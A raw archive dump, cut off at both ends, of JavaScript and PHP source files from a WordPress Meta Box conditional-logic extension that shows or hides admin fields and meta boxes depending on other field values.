			if ( Array.isArray( haystack ) && typeof haystack[0] !== 'undefined' && typeof haystack[1] !== 'undefined' ) {
				return needle >= haystack[0] && needle <= haystack[1];
			}
		}
	}


	////////// RUN CONDITIONS //////////

	function runConditionalLogic( $scope ) {
		// Log run time for performance tracking.
		// console.time( 'Run Conditional Logic' );

		// Run only for the new cloned group (when click add clone button) if possible.
		var selectorCache = getSelectorCache( $scope ),
			$conditions = selectorCache.get( '.mbc-conditions' );

		$conditions.each( function () {
			var $this = $( this ),
				conditions = $this.data( 'conditions' ),
				action = typeof conditions['hidden'] !== 'undefined' ? 'hidden' : 'visible',
				logic = conditions[action],
				logicApply = isLogicCorrect( logic, $this ),
				$element = $this.parent();

			if ( ! $element.hasClass( 'rwmb-field' ) ) {
				$element = $element.closest( '.postbox' );
			}

			toggle( $element, logicApply, action );
		} );

		// Show run time.
		// Test 001-visibility-broken: 20 clones < 300ms.
		// console.timeEnd( 'Run Conditional Logic' );

		// Outside conditions.
		_.each( conditions, function ( logics, field ) {
			_.each( logics, function ( logic, action ) {
				if ( typeof logic.when === 'undefined' ) {
					return;
				}

				var selector = getSelector( field, globalSelectorCache ),
					$element = globalSelectorCache.get( selector ),
					logicApply = isLogicCorrect( logic, '' );

				toggle( $element, logicApply, action );
			} );
		} );
	}

	/**
	 * Check if logics attached to fields is correct or not.
	 * If a field is hidden by Conditional Logic, then all dependent fields are hidden also.
	 *
	 * @param  logics Array of logic applied to field.
	 * @param  $field Current field (input) element (jQuery object).
	 * @return boolean
	 */
	function isLogicCorrect( logics, $field ) {
		var relation = typeof logics.relation !== 'undefined' ? logics.relation.toLowerCase() : 'and',
			success = relation === 'and';

		logics.when.forEach( function ( logic ) {
			// Skip check if we already know the result.
			if ( relation === 'and' && ! success ) {
				return;
			}
			if ( relation === 'or' && success ) {
				return;
			}

			// Get scope of current field. Scope is only applied for Group field.
			// A scope is a group or whole meta box which contains event source and current field.
			var $scope = getScope( $field ),
				selectorCache = getSelectorCache( $scope ),
				dependentFieldSelector = getSelector( logic[0], selectorCache );

			// Try broader scope if field is in a cloneable group.
			if ( ! isGutenbergElement( logic[0] ) && ! dependentFieldSelector && $scope && $scope.hasClass( 'rwmb-group-clone' ) ) {
				$scope = getScope( $field, true );
				selectorCache = getSelectorCache( $scope ),
				dependentFieldSelector = getSelector( logic[0], selectorCache );
			}

			// console.log( 'Selector', logic[0], dependentFieldSelector );

			if ( ! isGutenbergElement( logic[0] ) && ! dependentFieldSelector ) {
				return;
			}

			var $dependentField = selectorCache.get( dependentFieldSelector ),
				isDependentFieldVisible = $dependentField.closest( '.rwmb-field' ).attr( 'data-visible' );

			if ( 'hidden' === isDependentFieldVisible ) {
				success = 'hidden';
				return;
			}

			var dependentValue = getValue( logic[0], selectorCache ),
				operator = logic[1],
				value = logic[2],
				negative = false;

			// Cast to string if array has 1 element and its a string
			if ( Array.isArray( dependentValue ) && dependentValue.length === 1 ) {
				dependentValue = dependentValue[0];
			}

			// Allows user using NOT statement.
			if ( compare( operator, 'not', 'contains' ) || compare( operator, '!', 'contains' ) ) {
				negative = true;
				operator = operator.replace( 'not', '' );
				operator = operator.replace( '!', '' );
			}

			operator = operator.trim();

			if ( $.isNumeric( dependentValue ) ) {
				dependentValue = parseInt( dependentValue );
			}

			var result = compare( dependentValue, value, operator );

			if ( negative ) {
				result = ! result;
			}

			// console.log( 'Logic Compare',  logic[0], dependentValue, value, operator, result );

			success = relation === 'and' ? success && result : success || result;
		} );

		return success;
	}


	////////// GET FIELD VALUE / SELECTOR //////////

	function getValue( fieldName, selectorCache ) {
		if ( isWpElement( fieldName ) ) {
			return getWpElementValue( fieldName );
		}
		if ( isGutenbergActive() && compare( fieldName, 'tax_input', 'contains' ) ) {
			var match = fieldName.match( /tax_input\[(.*?)\]/ );
			return wp.data.select( 'core/editor' ).getEditedPostAttribute( match[1] );
		}

		// Allows user define conditional logic by callback
		if ( compare( fieldName, '(', 'contains' ) ) {
			return eval( fieldName );
		}

		var $field = compare( fieldName, '#', 'start_with' ) ? selectorCache.get( fieldName ) : selectorCache.get( '#' + fieldName ),
			value = $field.val();
		if ( $field.length && $field.attr( 'type' ) !== 'checkbox' && typeof value !== 'undefined' && value != null ) {
			return value;
		}

		var selector = null,
			isMultiple = false;

		// Try to find the element via [name] attribute.
		if ( selectorCache.get( '[name="' + fieldName + '"]' ).length ) {
			selector = '[name="' + fieldName + '"]';
		} else if ( selectorCache.get( '[name*="' + fieldName + '"]' ).length ) {
			selector = '[name*="' + fieldName + '"]';
		} else if ( selectorCache.get( '[name*="' + fieldName + '[]"]' ).length ) {
			selector = '[name*="' + fieldName + '[]"]';
			isMultiple = true;
		}

		if ( null === selector ) {
			return 0;
		}

		var $selector = selectorCache.get( selector ),
			selectorType = $selector.attr( 'type' );
		selectorType = selectorType ? selectorType : $selector.prop( 'tagName' );

		var isSelectTree = 'SELECT' === selectorType && isMultiple;

		if ( ['checkbox', 'radio', 'hidden'].indexOf( selectorType ) === -1 && ! isSelectTree ) {
			return $selector.val();
		}

		// If user selected a checkbox, radio, or select tree, return array of selected fields, or value of singular field.
		var values = [],
			$elements = [];

		if ( selectorType === 'hidden' && fieldName !== 'post_category' && ! compare( selector, 'tax_input', 'contains' ) ) {
			$elements = $selector;
		} else if ( isSelectTree ) {
			$elements = $selector;
		} else {
			$elements = $selector.filter( ':checked' );
		}

		$elements.each( function () {
			values.push( this.value );
		} );

		return values.length > 1 ? values : values.pop();
	}

	function getScope( $field, ignoreGroupClone ) {
		// $field is empty when checking logic of outside conditions.
		if ( ! $field ) {
			return '';
		}

		// If the current field is in a group clone, then all the logics must be within this group.
		if ( ! ignoreGroupClone ) {
			var $groupClone = $field.closest( '.rwmb-group-clone' );
			if ( $groupClone.length ) {
				return $groupClone;
			}
		}

		// If Gutenberg is active.
		if ( isGutenbergActive() ) {
			return $( '#editor' );
		}

		// Global scope. Should be the closest 'form', since in the frontend, users can insert the same meta box in multiple forms.
		// In the backend, edit 'form' wraps almost everything. So it should be okay.
		var $form = $field.closest( 'form' );
		return $form.length ? $form : '';
	}

	function getSelector( name, selectorCache ) {
		if ( isWpElement( name ) ) {
			return getWpSelector( name );
		}

		if ( compare( name, '(', 'contains' ) ) {
			return null;
		}
		if ( ! selectorCache ) {
			selectorCache = globalSelectorCache;
		}

		if ( isUserDefinedSelector( name ) ) {
			return name;
		}

		var selectors = [
			name,
			'#' + name,
			'[name="' + name + '"]',
			'[name^="' + name + '"]',
			'[name*="' + name + '"]'
		];
		var selector = _.find( selectors, function( pattern ) {
			return selectorCache.get( pattern ).length > 0;
		} );

		return selector ? selector : null;
	}

	function isUserDefinedSelector( name ) {
		return compare( name, '.', 'starts with' ) ||
			compare( name, '#', 'starts with' ) ||
			compare( name, '[name', 'contains' ) ||
			compare( name, '>', 'contains' ) ||
			compare( name, '*', 'contains' ) ||
			compare( name, '~', 'contains' );
	}

	////////// HANDLE TOGGLING //////////

	function toggle( $element, logic, action ) {
		if ( logic === true ) {
			action === 'visible' ? applyVisible( $element ) : applyHidden( $element );
		} else if ( logic === false ) {
			action === 'visible' ? applyHidden( $element ) : applyVisible( $element );
		} else if ( logic === 'hidden' ) {
			applyHidden( $element );
		}
	}

	function applyVisible( $element ) {
		// If element is a field, get the field wrapper.
		var $field = $element.closest( '.rwmb-field' );
		if ( $field.length ) {
			$element = $field;
		}

		var toggleType = getToggleType( $element ),
			func = {
				display: 'show',
				slide: 'slideDown',
				fade: 'fadeIn'
			};
		if ( func.hasOwnProperty( toggleType ) ) {
			$element[func[toggleType]]();
		} else {
			$element.css( 'visibility', 'visible' );
		}

		$element.attr( 'data-visible', 'visible' );

		// Reset the required attribute for inputs.
		$element.find( inputSelectors ).each( function() {
			var $this = $( this ),
				$field = $this.closest( '.rwmb-field.required' );
			if ( $field.length ) {
				$this.prop('required', true );
			}
		} );
	}

	function applyHidden( $element ) {
		// If element is a field, get the field wrapper.
		var $field = $element.closest( '.rwmb-field' );
		if ( $field.length ) {
			$element = $field;
		}

		var toggleType = getToggleType( $element ),
			func = {
				display: 'hide',
				slide: 'slideUp',
				fade: 'fadeOut'
			};
		if ( func.hasOwnProperty( toggleType ) ) {
			$element[func[toggleType]]();
		} else {
			$element.css( 'visibility', 'hidden' );
		}

		$element.attr( 'data-visible', 'hidden' );

		// Remove required attribute for inputs and trigger a custom event.
		$element.find( inputSelectors ).each( function() {
			var $this = $( this ),
				required = $this.attr( 'required' );
			if ( required ) {
				$this.prop( 'required', false );
			}
			$this.trigger( 'cl_hide' );
		} );
	}

	function getToggleType( $element ) {
		var $type = $element.closest( '.rwmb-meta-box' ).children( '.mbc-toggle-type' );
		return $type.length ? $type.data( 'toggle_type' ) : 'display';
	}

	////////// EVENTS //////////

	var watchedElements;

	function getWatchedElements() {
		watchedElements = [];

		$( '.mbc-conditions' ).each( function () {
			var fieldConditions = $( this ).data( 'conditions' ),
				action = typeof fieldConditions['hidden'] !== 'undefined' ? 'hidden' : 'visible',
				logic = fieldConditions[action];

			logic.when.forEach( addWatchedElement, this );
		} );

		// Outside conditions.
		_.each( conditions, function ( logics ) {
			_.each( logics, function ( logic ) {
				if ( typeof logic.when === 'undefined' ) {
					return;
				}
				logic.when.forEach( addWatchedElement, null );
			} );
		} );

		// Removed duplicated and empty selectors.
		watchedElements = _.uniq( watchedElements ).filter( Boolean ).join();
	}

	function addWatchedElement( logic ) {
		if ( compare( logic[0], '(', 'contains' ) ) {
			return;
		}

		// Find selector within correct scope to speed up.
		var $scope = null;
		if ( null !== this ) {
			$scope = getScope( $( this ) );
		}
		var selectorCache = getSelectorCache( $scope ),
			selector = getSelector( logic[0], selectorCache );

			if ( ! selector ) {
				selector = '#' + logic[0];
			}

		watchedElements.push( selector );
	}


	////////// MAIN CODE //////////

	function watch() {
		getWatchedElements();

		// In Gutenberg, simply subscribe to all changes.
		if ( isGutenbergActive() ) {
			wp.data.subscribe( runConditionalLogic );
		}

		// Listening eventSource apply conditional logic when eventSource is change.
		if ( watchedElements.length > 1 ) {
			$( document )
				.off( 'change keyup', watchedElements )
				.on( 'change keyup', watchedElements, function() {
					var $scope = getScope( $( this ) );
					runConditionalLogic( $scope );
				} );
		}

		// Featured image replaces HTML, thus the event listening above doesn't work.
		// We have to detect DOM change.
		if ( -1 !== watchedElements.indexOf( '_thumbnail_id' ) ) {
			$( '#postimagediv' ).on( 'DOMSubtreeModified', runConditionalLogic );
		}

		// For groups.
		$( document ).on( 'clone_completed',function( event, $group ) {
			runConditionalLogic( $group );
		} );
	}

	// Run when page finishes loading to improve performance.
	// https://github.com/wpmetabox/meta-box/issues/1195.
	$( window ).on( 'load', function () {
		runConditionalLogic();
		watch();

		// When a block switches to edit mode, get watched elements and watch again.
		$( document ).on( 'mb-blocks-edit-ready', function( e ) {
			watch();
			runConditionalLogic( $( e.target ) );
		} );
	} );
} )( jQuery, window, document, wp );
PK     0w\4$    >  dashboard/lib/meta-box-conditional-logic/conditional-logic.phpnu [        <?php
class MB_Conditional_Logic {
	private $has_conditions = false;
	private $outside_conditions = null;

	public function __construct() {
		add_action( 'rwmb_before', array( $this, 'insert_meta_box_conditions' ) );
		add_action( 'rwmb_before', array( $this, 'insert_toggle_type' ) );
		add_filter( 'rwmb_wrapper_html', array( $this, 'insert_field_conditions' ), 10, 2 );
		add_action( 'rwmb_after', array( $this, 'enqueue_in_footer' ) );

		add_action( 'rwmb_enqueue_scripts', [ $this, 'enqueue_in_customizer_gutenberg' ] );
	}

	public function insert_meta_box_conditions( $obj ) {
		echo $this->get_conditions_html( $obj->meta_box );
	}

	public function insert_toggle_type( $obj ) {
		if ( $obj->toggle_type ) {
			echo '<script type="html/template" class="mbc-toggle-type" data-toggle_type="' . esc_attr( $obj->toggle_type ) . '"></script>';
		}
	}

	public function insert_field_conditions( $begin, $field ) {
		return $begin . $this->get_conditions_html( $field );
	}

	/**
	 * Get outputted HTML for conditions.
	 *
	 * @param array $settings Meta box/field settings.
	 */
	private function get_conditions_html( $settings ) {
		if ( empty( $settings['visible'] ) && empty( $settings['hidden'] ) ) {
			return '';
		}

		$this->has_conditions = true;

		$conditions = $this->parse_conditions( $settings );
		return '<script type="html/template" class="mbc-conditions" data-conditions="' . esc_attr( wp_json_encode( $conditions ) ) . '"></script>';
	}

	public function enqueue_in_footer() {
		// Bypass if no meta box/field/outside conditions.
		if ( ! $this->has_conditions && ! $this->get_outside_conditions() ) {
			return;
		}

		$this->enqueue();

		// Reset the check for the next meta box.
		$this->has_conditions = false;
	}

	public function enqueue_in_customizer_gutenberg() {
		// In Customizer (for Settings Page extension), meta boxes are loaded via JavaScript.
		// We can't enqueue with "rwmb_after", and must use "rwmb_enqueue_scripts".
		if ( is_customize_preview() ) {
			$this->enqueue();
		}

		// Always enqueue for Gutenberg, to make it work inside dynamic blocks (created with MB Blocks).
		if ( ! is_admin() ) {
			return;
		}
		$screen = get_current_screen();
		if ( $screen && method_exists( $screen, 'is_block_editor' ) && $screen->is_block_editor() ) {
			$this->enqueue();
		}
	}

	public function enqueue() {
		list( , $url ) = RWMB_Loader::get_path( __DIR__ );
		wp_enqueue_script( 'mb-conditional-logic', $url . 'conditional-logic.js', array( 'jquery', 'underscore' ), '1.5', true );
		wp_localize_script( 'mb-conditional-logic', 'conditions', $this->get_outside_conditions() );
	}

	private function get_outside_conditions() {
		if ( null !== $this->outside_conditions ) {
			return $this->outside_conditions;
		}

		$this->outside_conditions = apply_filters( 'rwmb_outside_conditions', [] );
		$this->outside_conditions = array_map( [ $this, 'parse_conditions' ], $this->outside_conditions );

		return $this->outside_conditions;
	}

	private function parse_conditions( $conditions ) {
		$output = [];
		if ( ! empty( $conditions['visible'] ) ) {
			$output['visible'] = $this->parse_condition( $conditions['visible'] );
		}
		if ( ! empty( $conditions['hidden'] ) ) {
			$output['hidden'] = $this->parse_condition( $conditions['hidden'] );
		}
		return $output;
	}

	private function parse_condition( $condition ) {
		if ( ! is_array( $condition ) ) {
			return array(
				'when'     => [],
				'relation' => 'and',
			);
		}

		$relation = isset( $condition['relation'] ) && in_array( $condition['relation'], ['and', 'or'] ) ? $condition['relation'] : 'and';

		$condition_to_normalize = $condition;
		if ( isset( $condition['when'] ) && is_array( $condition['when'] ) ) {
			$condition_to_normalize = $condition['when'];
		}

		$when = $this->get_normalized_criteria( $condition_to_normalize );

		return compact( 'when', 'relation' );
	}

	private function get_normalized_criteria( $condition ) {
		$normalized = [];

		foreach ( $condition as $criteria ) {
			if ( is_array( $criteria ) ) {
				$normalized[] = $this->normalize_criteria( $criteria );
			} else {
				$normalized[] = $this->normalize_criteria( $condition );
				break;
			}
		}

		return $normalized;
	}

	private function normalize_criteria( $criteria ) {
		$criteria_length = count( $criteria );

		if ( 2 === $criteria_length ) {
			$criteria = array( $criteria[0], '=', $criteria[1] );
		}

		// Convert slug to id if conditional logic defined using slug for terms.
		if ( strrpos( $criteria[0], 'slug:', - strlen( $criteria[0] ) ) !== false ) {
			$criteria[0] = ltrim( $criteria[0], 'slug:' );

			$criteria[2] = $this->slug_to_id( $criteria[2] );
		}

		return $criteria;
	}

	private function slug_to_id( $slugs ) {
		global $wpdb;

		$slugs    = (array) $slugs;
		$sql      = "SELECT term_id FROM {$wpdb->terms} WHERE slug IN(" . implode( ', ', array_fill( 0, count( $slugs ), '%s' ) ) . ')';
		$prepared = call_user_func_array( array( $wpdb, 'prepare' ), array_merge( array( $sql ), $slugs ) );

		return array_map( 'intval', $wpdb->get_col( $prepared ) );
	}
}
PK     0w\z      #  dashboard/lib/conditional/index.phpnu [        <?php

// Silence is goldenPK     0w\_#1  1  8  dashboard/lib/conditional/assets/js/conditional-logic.jsnu [        ;(function($)
{
	'use strict';

	var conditions = window.conditions;
	/**
	 * Compare two variables
	 * 
	 * @param Mixed needle Variable 1
	 * @param Mixed haystack Variable 2
	 * @param String Compare Operator
	 *
	 * @return boolean
	 * @return boolean
	 */
	function checkCompareStatement(needle, haystack, compare)
	{
		if ( needle === null || typeof needle === 'undefined' )
			needle = '';

		switch( compare )
		{
			case '=':
				if ( $.isArray(needle) && $.isArray(haystack) )
					return ( $(needle).not(haystack).length === 0 && $(haystack).not(needle).length === 0 );
				else
					return needle == haystack;

			case '>=':
				return needle >= haystack;

			case '>':
				return needle > haystack;

			case '<=':
				return needle <= haystack;

			case '<':
				return needle < haystack;

			case 'contains':
				if ( $.isArray(needle) )
					return $.inArray( haystack, needle ) > -1;  
				else if ( typeof needle === 'string')
					return needle.indexOf( haystack ) > -1;

			case 'in':
				if ( $.isArray(needle) ) {
					var found = false;
		            $.each(needle, function(index, value) {
		            	if ( $.isNumeric(value ) )
		            		value = parseInt(value);

                    	if (haystack.indexOf(value) > -1)
                            found = true;
                    });

                    return found;
		       } else {
		            return haystack.indexOf(needle) > -1;
		       }

			case 'start_with':
				return needle.indexOf(haystack) === 0;
			
			case 'starts with':
				return needle.indexOf(haystack) === 0;
				
			case 'end_with':
				haystack = new RegExp(haystack + '$');
				return haystack.test(needle);

		    case 'ends with':
		        haystack = new RegExp(haystack + '$');
		        return haystack.test(needle);

			case 'match':
				haystack = new RegExp(haystack);
				return haystack.test(needle);

			case 'between':
				if ($.isArray(haystack) && typeof haystack[0] != 'undefined' && typeof haystack[1] != 'undefined')
					return checkCompareStatement(needle, haystack[0], '>=') && checkCompareStatement(needle, haystack[1], '<=');
		}
	}
	
	/**
	 * Put a selector, then retrieve values
	 * 
	 * @param  Element selector Element Selector
	 * 
	 * @return Mixed Selector values
	 */
	function getFieldValue(fieldName, $scope)
	{
		// Allows user define conditional logic by callback
		if ( checkCompareStatement( fieldName, '(', 'contains' ) )
			return eval(fieldName);

		if ($('#' + fieldName).length && $( '#' + fieldName).attr('type') !== 'checkbox' 
			&& typeof $('#' + fieldName).val() != 'undefined' && $('#' + fieldName).val() != null && $scope == '')
			fieldName = '#' + fieldName;

		// If fieldName start with #. Then it's an ID, just return it values
		if (checkCompareStatement( fieldName, '#', 'start_with') && $(fieldName).attr('type') !== 'checkbox' 
			&& typeof $(fieldName).val() != 'undefined' && $(fieldName).val() != null && $scope == '' )
		{
			return $(fieldName).val();	
		}

		var selector = null;

		// If [name={fieldName}] or [name*={fieldName}] exists
		if ($('[name="' + fieldName + '"]').length)
			selector = '[name="' + fieldName + '"]';

		if ($('[name*="' + fieldName + '"]').length)
			selector = '[name*="' + fieldName + '"]';

		if ( null !== selector )
		{
			var selectorType 	= $(selector).attr('type');

			if ( $.inArray( selectorType, ['text', 'file'] ) > -1 ) {
				if ( $scope == '' )
					return $(selector).val();
				else
					return $scope.find(selector).val();
			}

			// If user selected a checkbox or radio. Return array of selected fields,
			// or value of singular field.
			if ( $.inArray( selectorType, ['checkbox', 'radio', 'hidden'] ) > -1 ) {
				var arr 		= [],
					elements 	= [];

				if ( selectorType === 'hidden' && fieldName !== 'post_category' && 
					! checkCompareStatement(selector, 'tax_input', 'contains') )
					elements = ($scope != '') ? $scope.find(selector) : $(selector);
				else
					elements = ($scope != '') ? $scope.find(selector + ':checked') : $(selector + ':checked');

				// Multiple field. Selected multiple items
				if (elements.length > 1 && selectorType != 'radio'){
					elements.each(function()
					{
						arr.push($(this).val());
					});
				}
				// Singular field, selected
				else if ( elements.length === 1 ) {
					arr = elements.val();
				}
				// Singular field, not selected
				else {
					arr = 0;
				}

				return arr;
			}

			if ( $scope == '' )
				return $(selector).val();
			else
				return $scope.find(selector).val();
		}

		return 0;
	}
	
	/**
	 * Check if logics attached to fields is correct or not
	 * 
	 * If a field is hidden by Conditional Logic, then all dependent fields are hidden also
	 * 
	 * @param  Array  logics All logics applied to field
	 * 
	 * @return {Boolean}
	 */
	function isLogicCorrect(logics, $field)
	{
		var relation 	= ( typeof logics.relation != 'undefined' ) ? logics.relation : 'and',
			success 	= relation == 'and';

		$.each( logics.when, function( index, logic ) 
		{
			// Get scope of current field. Scope is only applied for Group field. 
			// A scope is a group or whole meta box which contains event source and current field.
			var $scope = getFieldScope($field, logic[0]);
			
			var dependentField = guessSelector(logic[0]);
			dependentField = $scope != '' ? $scope.find(dependentField) : $(dependentField);
			
			var isDependentFieldVisible = dependentField.closest('.rwmb-field').attr('data-visible');
			
			if ( 'hidden' == isDependentFieldVisible ) {
				success = 'hidden';
			} else {
				var item 	= getFieldValue(logic[0], $scope),
				 	compare = logic[1],
				 	value	= logic[2],
				 	check   = false,
				 	negative = false;

				// Cast to string if array has 1 element and its a string
				if ( $.isArray(item) && item.length === 1 )
					item = item[0];

				// Allows user using NOT statement.
				if (checkCompareStatement(compare, 'not', 'contains') || checkCompareStatement(compare, '!', 'contains')) {
					negative = true;
					compare  = compare.replace( 'not', '' ); 
					compare  = compare.replace( '!', '' ); 
				}

				compare = compare.trim();

				if ($.isNumeric(item))
					item = parseInt( item );

				check = checkCompareStatement( item, value, compare );

				if ( negative )
					check =! check;

				success = ( relation === 'and' ) ? success && check : success || check;
			}
		} );

		return success;
	}

	function getFieldScope($field, eventSource)
	{
		eventSource = guessSelector(eventSource);

		var $scope = '', 
			$wrapper = $(eventSource).closest('.rwmb-clone');

		if ( ! $wrapper.length || $field == '')
			return $scope;

		$wrapper.addClass('field-scope');

		$scope = $field.closest('.field-scope');

		$wrapper.removeClass('field-scope');

		return $scope;
	}

	/**
	 * Run all conditional logic statements then show / hide fields or meta boxes
	 * 
	 * @param  Array conditions All defined conditional
	 * 
	 * @return void
	 */
	function runConditionalLogic(conditions)
	{
		// Store all change selector here
		window.eventSource = [];

		$('.rwmb-conditions').each(function()
		{
			var field 			= $(this),
				fieldConditions = field.data('conditions'),
				action 			= typeof fieldConditions['hidden'] != 'undefined' ? 'hidden' : 'visible',
			 	logic 			= fieldConditions[action];

			var logicApply 		= isLogicCorrect(logic, field);
			var $selector 		= field.parent().hasClass('rwmb-field') ? field.parent() : field.closest('.postbox');

			if (logicApply === true)
				action == 'visible' ? applyVisible($selector) : applyHidden($selector);
			else if (logicApply === false)
				action == 'visible' ? applyHidden($selector) : applyVisible($selector);
			else if (logicApply === 'hidden')
				applyHidden($selector);

			$.each(logic.when, function(i, single_logic) {
				if ( ! checkCompareStatement( single_logic[0], '(', 'contains' ) )
				{
					var singleLogicSelector = guessSelector(single_logic[0]);
					if (($.inArray(singleLogicSelector, window.eventSource) < 0) && typeof singleLogicSelector != 'undefined')
						window.eventSource.push(singleLogicSelector);
				}
			});
		});

		// Outside Conditions
		$.each(conditions, function(field, logics) {	

			$.each(logics, function(action, logic) {
				
				if (typeof logic.when == 'undefined') return;

				var selector 		= guessSelector(field),
					logicApply 		= isLogicCorrect(logic, '');

				if (logicApply === true)
					action == 'visible' ? applyVisible($(selector)) : applyHidden($(selector));
				else if (logicApply === false)
					action == 'visible' ? applyHidden($(selector)) : applyVisible($(selector));
				else if (logicApply === 'hidden')
					applyHidden($(selector));

				// Add Start Point
				$.each(logic.when, function(i, single_logic) {
					if ( ! checkCompareStatement( single_logic[0], '(', 'contains' ) )
					{
						var singleLogicSelector = guessSelector(single_logic[0]);
						
						if (($.inArray(singleLogicSelector, window.eventSource) < 0) && typeof singleLogicSelector != 'undefined')
							window.eventSource.push(singleLogicSelector);
					}
				});
			});
		});
		window.eventSource.push('.add-clone');
		window.eventSource = window.eventSource.join();
	}

	/**
	 * Guess the selector by field name
	 * 
	 * @param  String fieldName Field Name
	 * 
	 * @return String selector Field Selector
	 */
	function guessSelector(fieldName)
	{
		if ( checkCompareStatement(fieldName, '(', 'contains'))
			return null;

		if ($(fieldName).length || isUserDefinedSelector(fieldName))
			return fieldName;

		// If field id exists. Then return it values
		try {
			if ( $('#' + fieldName).length 
				&& $('#' + fieldName).attr('type') !== 'checkbox' 
				&& ! $('#' + fieldName).attr('name')
                && ! $('#' + fieldName).closest('.rwmb-clone')
			)
				return '#' + fieldName;

			if ($('[name="' + fieldName + '"]').length)
				return '[name="' + fieldName + '"]';

			if ($('[name^="' + fieldName + '"]').length)
				return '[name^="' + fieldName + '"]';

			if ($('[name*="' + fieldName + '"]').length)
				return '[name*="' + fieldName + '"]';
		} catch(e){
			console.log(e);
		}
	}

	function isUserDefinedSelector(fieldName)
	{
		return checkCompareStatement(fieldName, '.', 'starts with') || 
			checkCompareStatement(fieldName, '#', 'starts with') ||
			checkCompareStatement(fieldName, '[name', 'contains') ||
			checkCompareStatement(fieldName, '>', 'contains') ||
			checkCompareStatement(fieldName, '*', 'contains') ||
			checkCompareStatement(fieldName, '~', 'contains');
	}

	function getToggleType($element)
	{
        var toggleType = 'display';
        var hasToggleTypeDefined = $element.closest('.postbox').find('.mbc-toggle-type');
        if (hasToggleTypeDefined.length) {
            toggleType = hasToggleTypeDefined.data('toggle_type');
        }

        return toggleType;
	}

	/**
	 * Visible field or entire meta box
	 * 
	 * @param  Element element Element Selector
	 * @param String toggleType 'visibility' or 'display'
	 * 
	 * @return void
	 */
	function applyVisible($element)
	{
		var toggleType = getToggleType($element);

		// Element is a Field. Find the field wrapper and show.
		if ($element.closest('.rwmb-field').length)
			$element = $element.closest('.rwmb-field');

		if (toggleType === 'display') {
			$element.show();
		}
		if (toggleType === 'slide') {
			$element.slideDown();
		}
		if (toggleType === 'fade') {
			$element.fadeIn();
		}
		else {
            $element.css('visibility', 'visible');
		}

		$element.attr('data-visible', 'visible');
	}

	/**
	 * Hide field or entire meta box
     * @param String toggleType 'visibility' or 'display'
	 * 
	 * @return void
	 */
	function applyHidden($element)
	{
        var toggleType = getToggleType($element);

		// Element is a Field. Find the field wrapper and show.
		if ($element.closest('.rwmb-field').length)
			$element = $element.closest('.rwmb-field');

        if (toggleType === 'display') {
            $element.hide();
        }
        if (toggleType === 'slide') {
        		$element.slideUp();
		}
		if (toggleType === 'fade') {
        		$element.fadeOut();
		}
        else {
            $element.css('visibility', 'hidden');
        }

		$element.attr('data-visible', 'hidden');
	}

	// Load conditional logic by default
	runConditionalLogic(conditions);

	// Listening eventSource apply conditional logic when eventSource is change
	if (window.eventSource.length > 1) {
		$(document).on('change keyup click', window.eventSource, function(event) {
			runConditionalLogic(conditions);
		});
	}
})(jQuery);PK     0w\            .  dashboard/lib/conditional/assets/css/style.cssnu [        PK     0w\g6<F  F  9  dashboard/lib/conditional/inc/class-conditional-logic.phpnu [        <?php
/**
 * Conditional Logic Main Class
 */
class MB_Conditional_Logic
{
	public function __construct()
	{
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ) );

        add_action( 'wp_enqueue_scripts', array( $this, 'enqueue' ) );

		add_action( 'rwmb_before', array( $this, 'insert_meta_box_conditions' ) );

		add_filter( 'rwmb_wrapper_html', array( $this, 'insert_field_conditions' ), 10, 3 );
	}

	/**
	 * Enqueue Conditional Logic script and pass conditional logic values to it
	 * 
	 * @param  String $hook Page
	 * 
	 * @return void
	 */
	public function enqueue( $hook )
    {
		$conditions 		= $this->get_all_conditions();
  
		list( , $url ) = RWMB_Loader::get_path( dirname( dirname( __FILE__ ) ) );

		if ( ! is_admin() && ! defined( 'MB_FRONTEND_SUBMISSION_DIR' ) ) {
            return;
        }

		// backward compatibility
		$url = defined( 'MBC_JS_URL' ) ? MBC_JS_URL : $url . 'assets/js/';

		wp_register_script( 'conditional-logic', $url . 'conditional-logic.js', array(), '1.5', true );

		wp_localize_script( 'conditional-logic', 'conditions', $conditions );
		
		wp_enqueue_script( 'conditional-logic' );
	}

	/**
	 * Insert data-conditions="{JSON}" to Meta Boxes or Fields.
	 *
	 * @since  1.2
	 * 
	 * @return void
	 */
	public function insert_meta_box_conditions( $obj )
	{
        $toggle_type = 'display';
        
        if  ( ! empty( $obj->meta_box['toggle_type'] ) && in_array($toggle_type, array( 'display', 'visibility' ) ) ) {
            $toggle_type = $obj->meta_box['toggle_type'];
        }
        
        echo '<div class="mbc-toggle-type" style="display: none; visibility: hidden" data-toggle_type="' . $toggle_type . '"></div>';
        
		if ( empty( $obj->meta_box ) || ( empty( $obj->meta_box['visible'] ) && empty( $obj->meta_box['hidden'] ) ) )
			return;

		$conditions = array( 'visible', 'hidden' );

		foreach ( $conditions as $index => $visibility )
		{
			unset( $conditions[$index] );

			if ( isset( $obj->meta_box[$visibility] ) )
				$conditions[$visibility] = $this->parse_condition( $obj->meta_box[$visibility] );
		}
		
		echo '<div style="display: none; visibility: hidden" class="rwmb-conditions" data-conditions="'. esc_attr( json_encode( $conditions ) ) . '"></div>';
	}

	public function insert_field_conditions( $begin, $field, $meta )
	{
		if ( empty( $field['visible'] ) && empty( $field['hidden'] ) )
			return $begin;

		$conditions = array( 'visible', 'hidden' );

		foreach ( $conditions as $index => $visibility )
		{
			unset( $conditions[$index] );

			if ( isset( $field[$visibility] ) )
				$conditions[$visibility] = $this->parse_condition( $field[$visibility] );
		}

		$begin .= '<div style="display: none; visibility: hidden" class="rwmb-conditions" data-conditions="'. esc_attr( json_encode( $conditions ) ) .'"></div>';

		return $begin;	
	}

	/**
	 * Get all attached conditional logic on fields or meta boxes
	 * 
	 * @return Mixed All attached conditional logic
	 */
	public function get_all_conditions()
	{
		$outside_conditions = apply_filters( 'rwmb_outside_conditions', array() );

		$conditions = array();

		foreach ( $outside_conditions as $field_id => $field_conditions )
		{
			if ( empty( $field_id ) ) 
				continue;

			if ( ! empty( $field_conditions['visible'] ) )
				$conditions[$field_id]['visible'] = $this->parse_condition( $field_conditions['visible'] );

			if ( ! empty( $field_conditions['hidden'] ) )
				$conditions[$field_id]['hidden'] = $this->parse_condition( $field_conditions['hidden'] );
		}

		return $conditions;	
	}

	/**
	 * Parse various style of a collection to JS readable
	 * 
	 * @param  Mixed $condition Condition
	 * 
	 * @return Array
	 */
	public function parse_condition( $condition )
	{
		if ( ! is_array( $condition ) ) 
			return;

		$relation = ( isset( $condition['relation'] ) && in_array( $condition['relation'], array('and', 'or') ) ) 
